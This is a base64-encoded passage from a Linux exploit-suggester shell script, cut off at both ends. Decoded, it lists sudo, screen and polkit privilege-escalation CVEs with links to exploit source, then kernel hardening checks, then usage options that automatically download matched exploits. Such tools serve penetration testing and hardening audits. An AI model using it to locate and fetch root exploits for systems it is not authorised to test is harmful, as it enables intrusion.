lLTIwMjAtOTQ3MC5zaApleHBsb2l0LWRiOiA0ODE1NAphdXRob3I6IENhcnkgQ29vcGVyCkNvbW1lbnRzOiBSZXF1aXJlcyBhbiBhZG1pbmlzdHJhdG9yIHRvIGxvZ2luIHZpYSB0aGUgd2ViIGludGVyZmFjZS4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtMzE1Nl0ke3R4dHJzdH0gc3VkbyBCYXJvbiBTYW1lZGl0ClJlcXM6IHBrZz1zdWRvLHZlcjwxLjkuNXAyClRhZ3M6IG1pbnQ9MTksdWJ1bnR1PTE4fDIwLCBkZWJpYW49MTAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAyMS8wMS8yNi9jdmUtMjAyMS0zMTU2L2Jhcm9uLXNhbWVkaXQtaGVhcC1iYXNlZC1vdmVyZmxvdy1zdWRvLnR4dApzcmMtdXJsOiBodHRwczovL2NvZGVsb2FkLmdpdGh1Yi5jb20vYmxhc3R5L0NWRS0yMDIxLTMxNTYvemlwL21haW4KYXV0aG9yOiBibGFzdHkKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtMzE1Nl0ke3R4dHJzdH0gc3VkbyBCYXJvbiBTYW1lZGl0IDIKUmVxczogcGtnPXN1ZG8sdmVyPDEuOS41cDIKVGFnczogY2VudG9zPTZ8N3w4LHVidW50dT0xNHwxNnwxN3wxOHwxOXwyMCwgZGViaWFuPTl8MTAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAyMS8wMS8yNi9jdmUtMjAyMS0zMTU2L2Jhcm9uLXNhbWVkaXQtaGVhcC1iYXNlZC1vdmVyZmxvdy1zdWRvLnR4dApzcmMtdXJsOiBodHRwczovL2NvZGVsb2FkLmdpdGh1Yi5jb20vd29yYXdpdC9DVkUtMjAyMS0zMTU2L3ppcC9tYWluCmF1dGhvcjogd29yYXdpdApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy01NjE4XSR7dHh0cnN0fSBzZXR1aWQgc2NyZWVuIHY0LjUuMCBMUEUKUmVxczogcGtnPXNjcmVlbix2ZXI9PTQuNS4wClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9zZWNsaXN0cy5vcmcvb3NzLXNlYy8yMDE3L3ExLzE4NApleHBsb2l0LWRiOiBodHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy80MTE1NApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMS00MDM0XSR7dHh0cnN0fSBQd25LaXQKUmVxczogcGtnPXBvbGtpdHxwb2xpY3lraXQtMSx2ZXI8PTAuMTA1LTMxClRhZ3M6IHVidW50dT0xMHwxMXwxMnwxM3wxNHwxNXwxNnwxN3wxOHwxOXwyMHwyMSxkZWJpYW49N3w4fDl8MTB8MTEsZmVkb3JhLG1hbmphcm8KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAyMi8wMS8yNS9jdmUtMjAyMS00MDM0L3B3bmtpdC50eHQKc3JjLXVybDogaHR0cHM6Ly9jb2RlbG9hZC5naXRodWIuY29tL2JlcmRhdi9DVkUtMjAyMS00MDM0L3ppcC9tYWluCmF1dGhvcjogYmVyZGF2CkVPRgopCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIyBzZWN1cml0eSByZWxhdGVkIEhXL2tlcm5lbCBmZWF0dXJlcwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpuPTAKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCnNlY3Rpb246IE1haW5saW5lIGtlcm5lbCBwcm90ZWN0aW9uIG1lY2hhbmlzbXM6CkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBLZXJuZWwgUGFnZSBUYWJsZSBJc29sYXRpb24gKFBUSSkgc3VwcG9ydAphdmFpbGFibGU6IHZlcj49NC4xNQplbmFibGVkOiBjbWQ6Z3JlcCAtRXFpICdcc3B0aScgL3Byb2MvY3B1aW5mbwphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3B0aS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogR0NDIHN0YWNrIHByb3RlY3RvciBzdXBwb3J0CmF2YWlsYWJsZTogQ09ORklHX0hBVkVfU1RBQ0tQUk9URUNUT1I9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3N0YWNrcHJvdGVjdG9yLXJlZ3VsYXIubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEdDQyBzdGFjayBwcm90ZWN0b3IgU1RST05HIHN1cHBvcnQKYXZhaWxhYmxlOiBDT05GSUdfU1RBQ0tQUk9URUNUT1JfU1RST05HPXksdmVyPj0zLjE0CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc3RhY2twcm90ZWN0b3Itc3Ryb25nLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBMb3cgYWRkcmVzcyBzcGFjZSB0byBwcm90ZWN0IGZyb20gdXNlciBhbGxvY2F0aW9uCmF2YWlsYWJsZTogQ09ORklHX0RFRkFVTFRfTU1BUF9NSU5fQUREUj1bMC05XSsKZW5hYmxlZDogc3lzY3RsOnZtLm1tYXBfbWluX2FkZHIhPTAKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9tbWFwX21pbl9hZGRyLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBQcmV2ZW50IHVzZXJzIGZyb20gdXNpbmcgcHRyYWNlIHRvIGV4YW1pbmUgdGhlIG1lbW9yeSBhbmQgc3RhdGUgb2YgdGhlaXIgcHJvY2Vzc2VzCmF2YWlsYWJsZTogQ09ORklHX1NFQ1VSSVRZX1lBTUE9eQplbmFibGVkOiBzeXNjdGw6a2VybmVsLnlhbWEucHRyYWNlX3Njb3BlIT0wCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMveWFtYV9wdHJhY2Vfc2NvcGUubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFJlc3RyaWN0IHVucHJpdmlsZWdlZCBhY2Nlc3MgdG8ga2VybmVsIHN5c2xvZwphdmFpbGFibGU6IENPTkZJR19TRUNVUklUWV9ETUVTR19SRVNUUklDVD15LHZlcj49Mi42LjM3CmVuYWJsZWQ6IHN5c2N0bDprZXJuZWwuZG1lc2dfcmVzdHJpY3QhPTAKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kbWVzZ19yZXN0cmljdC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUmFuZG9taXplIHRoZSBhZGRyZXNzIG9mIHRoZSBrZXJuZWwgaW1hZ2UgKEtBU0xSKQphdmFpbGFibGU6IENPTkZJR19SQU5ET01JWkVfQkFTRT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMva2FzbHIubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEhhcmRlbmVkIHVzZXIgY29weSBzdXBwb3J0CmF2YWlsYWJsZTogQ09ORklHX0hBUkRFTkVEX1VTRVJDT1BZPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9oYXJkZW5lZF91c2VyY29weS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogTWFrZSBrZXJuZWwgdGV4dCBhbmQgcm9kYXRhIHJlYWQtb25seQphdmFpbGFibGU6IENPTkZJR19TVFJJQ1RfS0VSTkVMX1JXWD15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc3RyaWN0X2tlcm5lbF9yd3gubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFNldCBsb2FkYWJsZSBrZXJuZWwgbW9kdWxlIGRhdGEgYXMgTlggYW5kIHRleHQgYXMgUk8KYXZhaWxhYmxlOiBDT05GSUdfU1RSSUNUX01PRFVMRV9SV1g9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3N0cmljdF9tb2R1bGVfcnd4Lm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBCVUcoKSBjb25kaXRpb25zIHJlcG9ydGluZwphdmFpbGFibGU6IENPTkZJR19CVUc9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2J1Zy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogQWRkaXRpb25hbCAnY3JlZCcgc3RydWN0IGNoZWNrcwphdmFpbGFibGU6IENPTkZJR19ERUJVR19DUkVERU5USUFMUz15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvZGVidWdfY3JlZGVudGlhbHMubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFNhbml0eSBjaGVja3MgZm9yIG5vdGlmaWVyIGNhbGwgY2hhaW5zCmF2YWlsYWJsZTogQ09ORklHX0RFQlVHX05PVElGSUVSUz15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvZGVidWdfbm90aWZpZXJzLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBFeHRlbmRlZCBjaGVja3MgZm9yIGxpbmtlZC1saXN0cyB3YWxraW5nCmF2YWlsYWJsZTogQ09ORklHX0RFQlVHX0xJU1Q9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2RlYnVnX2xpc3QubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IENoZWNrcyBvbiBzY2F0dGVyLWdhdGhlciB0YWJsZXMKYXZhaWxhYmxlOiBDT05GSUdfREVCVUdfU0c9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2RlYnVnX3NnLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBDaGVja3MgZm9yIGRhdGEgc3RydWN0dXJlIGNvcnJ1cHRpb25zCmF2YWlsYWJsZTogQ09ORklHX0JVR19PTl9EQVRBX0NPUlJVUFRJT049eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2J1Z19vbl9kYXRhX2NvcnJ1cHRpb24ubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IENoZWNrcyBmb3IgYSBzdGFjayBvdmVycnVuIG9uIGNhbGxzIHRvICdzY2hlZHVsZScKYXZhaWxhYmxlOiBDT05GSUdfU0NIRURfU1RBQ0tfRU5EX0NIRUNLPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zY2hlZF9zdGFja19lbmRfY2hlY2subWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEZyZWVsaXN0IG9yZGVyIHJhbmRvbWl6YXRpb24gb24gbmV3IHBhZ2VzIGNyZWF0aW9uCmF2YWlsYWJsZTogQ09ORklHX1NMQUJfRlJFRUxJU1RfUkFORE9NPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zbGFiX2ZyZWVsaXN0X3JhbmRvbS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogRnJlZWxpc3QgbWV0YWRhdGEgaGFyZGVuaW5nCmF2YWlsYWJsZTogQ09ORklHX1NMQUJfRlJFRUxJU1RfSEFSREVORUQ9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3NsYWJfZnJlZWxpc3RfaGFyZGVuZWQubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEFsbG9jYXRvciB2YWxpZGF0aW9uIGNoZWNraW5nCmF2YWlsYWJsZTogQ09ORklHX1NMVUJfREVCVUdfT049eSxjbWQ6ISBncmVwICdzbHViX2RlYnVnPS0nIC9wcm9jL2NtZGxpbmUKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zbHViX2RlYnVnLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBWaXJ0dWFsbHktbWFwcGVkIGtlcm5lbCBzdGFja3Mgd2l0aCBndWFyZCBwYWdlcwphdmFpbGFibGU6IENPTkZJR19WTUFQX1NUQUNLPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy92bWFwX3N0YWNrLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBQYWdlcyBwb2lzb25pbmcgYWZ0ZXIgZnJlZV9wYWdlcygpIGNhbGwKYXZhaWxhYmxlOiBDT05GSUdfUEFHRV9QT0lTT05JTkc9eQplbmFibGVkOiBjbWQ6IGdyZXAgJ3BhZ2VfcG9pc29uPTEnIC9wcm9jL2NtZGxpbmUKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9wYWdlX3BvaXNvbmluZy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogVXNpbmcgJ3JlZmNvdW50X3QnIGluc3RlYWQgb2YgJ2F0b21pY190JwphdmFpbGFibGU6IENPTkZJR19SRUZDT1VOVF9GVUxMPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9yZWZjb3VudF9mdWxsLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBIYXJkZW5pbmcgY29tbW9uIHN0ci9tZW0gZnVuY3Rpb25zIGFnYWluc3QgYnVmZmVyIG92ZXJmbG93cwphdmFpbGFibGU6IENPTkZJR19GT1JUSUZZX1NPVVJDRT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvZm9ydGlmeV9zb3VyY2UubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFJlc3RyaWN0IC9kZXYvbWVtIGFjY2VzcwphdmFpbGFibGU6IENPTkZJR19TVFJJQ1RfREVWTUVNPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zdHJpY3RfZGV2bWVtLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBSZXN0cmljdCBJL08gYWNjZXNzIHRvIC9kZXYvbWVtCmF2YWlsYWJsZTogQ09ORklHX0lPX1NUUklDVF9ERVZNRU09eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2lvX3N0cmljdF9kZXZtZW0ubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCnNlY3Rpb246IEhhcmR3YXJlLWJhc2VkIHByb3RlY3Rpb24gZmVhdHVyZXM6CkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBTdXBlcnZpc29yIE1vZGUgRXhlY3V0aW9uIFByb3RlY3Rpb24gKFNNRVApIHN1cHBvcnQKYXZhaWxhYmxlOiB2ZXI+PTMuMAplbmFibGVkOiBjbWQ6Z3JlcCAtcWkgc21lcCAvcHJvYy9jcHVpbmZvCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc21lcC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogU3VwZXJ2aXNvciBNb2RlIEFjY2VzcyBQcmV2ZW50aW9uIChTTUFQKSBzdXBwb3J0CmF2YWlsYWJsZTogdmVyPj0zLjcKZW5hYmxlZDogY21kOmdyZXAgLXFpIHNtYXAgL3Byb2MvY3B1aW5mbwphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3NtYXAubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCnNlY3Rpb246IDNyZCBwYXJ0eSBrZXJuZWwgcHJvdGVjdGlvbiBtZWNoYW5pc21zOgpFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogR3JzZWN1cml0eQphdmFpbGFibGU6IENPTkZJR19HUktFUk5TRUM9eQplbmFibGVkOiBjbWQ6dGVzdCAtYyAvZGV2L2dyc2VjCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBQYVgKYXZhaWxhYmxlOiBDT05GSUdfUEFYPXkKZW5hYmxlZDogY21kOnRlc3QgLXggL3NiaW4vcGF4Y3RsCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBMaW51eCBLZXJuZWwgUnVudGltZSBHdWFyZCAoTEtSRykga2VybmVsIG1vZHVsZQplbmFibGVkOiBjbWQ6dGVzdCAtZCAvcHJvYy9zeXMvbGtyZwphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2xrcmcubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCnNlY3Rpb246IEF0dGFjayBTdXJmYWNlOgpFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogVXNlciBuYW1lc3BhY2VzIGZvciB1bnByaXZpbGVnZWQgYWNjb3VudHMKYXZhaWxhYmxlOiBDT05GSUdfVVNFUl9OUz15CmVuYWJsZWQ6IHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3VzZXJfbnMubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFVucHJpdmlsZWdlZCBhY2Nlc3MgdG8gYnBmKCkgc3lzdGVtIGNhbGwKYXZhaWxhYmxlOiBDT05GSUdfQlBGX1NZU0NBTEw9eQplbmFibGVkOiBzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQhPTEKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9icGZfc3lzY2FsbC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogU3lzY2FsbHMgZmlsdGVyaW5nCmF2YWlsYWJsZTogQ09ORklHX1NFQ0NPTVA9eQplbmFibGVkOiBjbWQ6Z3JlcCAtaXcgU2VjY29tcCAvcHJvYy9zZWxmL3N0YXR1cyB8IGF3ayAne3ByaW50IFwkMn0nCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvYnBmX3N5c2NhbGwubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFN1cHBvcnQgZm9yIC9kZXYvbWVtIGFjY2VzcwphdmFpbGFibGU6IENPTkZJR19ERVZNRU09eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2Rldm1lbS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogU3VwcG9ydCBmb3IgL2Rldi9rbWVtIGFjY2VzcwphdmFpbGFibGU6IENPTkZJR19ERVZLTUVNPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kZXZrbWVtLm1kCkVPRgopCgoKdmVyc2lvbigpIHsKICAgIGVjaG8gImxpbnV4LWV4cGxvaXQtc3VnZ2VzdGVyICIkVkVSU0lPTiIsIG16ZXQsIGh0dHBzOi8vei1sYWJzLmV1LCBNYXJjaCAyMDE5Igp9Cgp1c2FnZSgpIHsKICAgIGVjaG8gIkxFUyB2ZXIuICRWRVJTSU9OIChodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIpIGJ5IEBfbXpldF8iCiAgICBlY2hvCiAgICBlY2hvICJVc2FnZTogbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIuc2ggW09QVElPTlNdIgogICAgZWNobwogICAgZWNobyAiIC1WIHwgLS12ZXJzaW9uICAgICAgICAgICAgICAgLSBwcmludCB2ZXJzaW9uIG9mIHRoaXMgc2NyaXB0IgogICAgZWNobyAiIC1oIHwgLS1oZWxwICAgICAgICAgICAgICAgICAgLSBwcmludCB0aGlzIGhlbHAiCiAgICBlY2hvICIgLWsgfCAtLWtlcm5lbCA8dmVyc2lvbj4gICAgICAtIHByb3ZpZGUga2VybmVsIHZlcnNpb24iCiAgICBlY2hvICIgLXUgfCAtLXVuYW1lIDxzdHJpbmc+ICAgICAgICAtIHByb3ZpZGUgJ3VuYW1lIC1hJyBzdHJpbmciCiAgICBlY2hvICIgLS1za2lwLW1vcmUtY2hlY2tzICAgICAgICAgICAtIGRvIG5vdCBwZXJmb3JtIGFkZGl0aW9uYWwgY2hlY2tzIChrZXJuZWwgY29uZmlnLCBzeXNjdGwpIHRvIGRldGVybWluZSBpZiBleHBsb2l0IGlzIGFwcGxpY2FibGUiCiAgICBlY2hvICIgLS1za2lwLXBrZy12ZXJzaW9ucyAgICAgICAgICAtIHNraXAgY2hlY2tpbmcgZm9yIGV4YWN0IHVzZXJzcGFjZSBwYWNrYWdlIHZlcnNpb24gKGhlbHBzIHRvIGF2b2lkIGZhbHNlIG5lZ2F0aXZlcykiCiAgICBlY2hvICIgLXAgfCAtLXBrZ2xpc3QtZmlsZSA8ZmlsZT4gICAtIHByb3ZpZGUgZmlsZSB3aXRoICdkcGtnIC1sJyBvciAncnBtIC1xYScgY29tbWFuZCBvdXRwdXQiCiAgICBlY2hvICIgLS1jdmVsaXN0LWZpbGUgPGZpbGU+ICAgICAgICAtIHByb3ZpZGUgZmlsZSB3aXRoIExpbnV4IGtlcm5lbCBDVkVzIGxpc3QiCiAgICBlY2hvICIgLS1jaGVja3NlYyAgICAgICAgICAgICAgICAgICAtIGxpc3Qgc2VjdXJpdHkgcmVsYXRlZCBmZWF0dXJlcyBmb3IgeW91ciBIVy9rZXJuZWwiCiAgICBlY2hvICIgLXMgfCAtLWZldGNoLXNvdXJjZXMgICAgICAgICAtIGF1dG9tYXRpY2FsbHkgZG93bmxvYWRzIHNvdXJjZSBmb3IgbWF0Y2hlZCBleHBsb2l0IgogICAgZWNobyAiIC1iIHwgLS1mZXRjaC1iaW5hcmllcyAgICAgICAgLSBhdXRvbWF0aWNhbGx5IGRvd25sb2FkcyBiaW5hcnkgZm9yIG1hdGNoZWQgZXhwbG9pdCBpZiBhdmFpbGFibGUiCiAgICBlY2hvICIgLWYgfCAtLWZ1bGwgICAgICAgICAgICAgICAgICAtIHNob3cgZnVsbCBpbmZvIGFib3V0IG1hdGNoZWQgZXhwbG9pdCIKICAgIGVjaG8gIiAtZyB8IC0tc2hvcnQgICAgICAgICAgICAgICAgIC0gc2hvdyBzaG9ydGVuIGluZm8gYWJvdXQgbWF0Y2hlZCBleHBsb2l0IgogICAgZWNobyAiIC0ta2VybmVsc3BhY2Utb25seSAgICAgICAgICAgLSBzaG93IG9ubHkga2VybmVsIHZ1bG5lcmFiaWxpdGllcyIKICAgIGVjaG8gIiAtLXVzZXJzcGFjZS1vbmx5ICAgICAgICAgICAgIC0gc2hvdyBvbmx5IHVzZXJzcGFjZSB2dWxuZXJhYmlsaXRpZXMiCiAgICBlY2hvICIgLWQgfCAtLXNob3ctZG9zICAgICAgICAgICAgICAtIHNob3cgYWxzbyBEb1NlcyBpbiByZXN1bHRzIgp9CgpleGl0V2l0aEVyck1zZygpIHsKICAgIGVjaG8gIiQxIiAxPiYyCiAgICBleGl0IDEKfQoKIyBleHRyYWN0cyBhbGwgaW5mb3JtYXRpb24gZnJvbSBvdXRwdXQgb2YgJ3VuYW1lIC1hJyBjb21tYW5kCnBhcnNlVW5hbWUoKSB7CiAgICBsb2NhbCB1bmFtZT0kMQoKICAgIEtFUk5FTD0kKGVjaG8gIiR1bmFtZSIgfCBhd2sgJ3twcmludCAkM30nIHwgY3V0IC1kICctJyAtZiAxKQogICAgS0VSTkVMX0FMTD0kKGVjaG8gIiR1bmFtZSIgfCBhd2sgJ3twcmludCAkM30nKQogICAgQVJDSD0kKGVjaG8gIiR1bmFtZSIgfCBhd2sgJ3twcmludCAkKE5GLTEpfScpCgogICAgT1M9IiIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICdkZWInICYmIE9TPSJkZWJpYW4iCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAndWJ1bnR1JyAmJiBPUz0idWJ1bnR1IgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wtQVJDS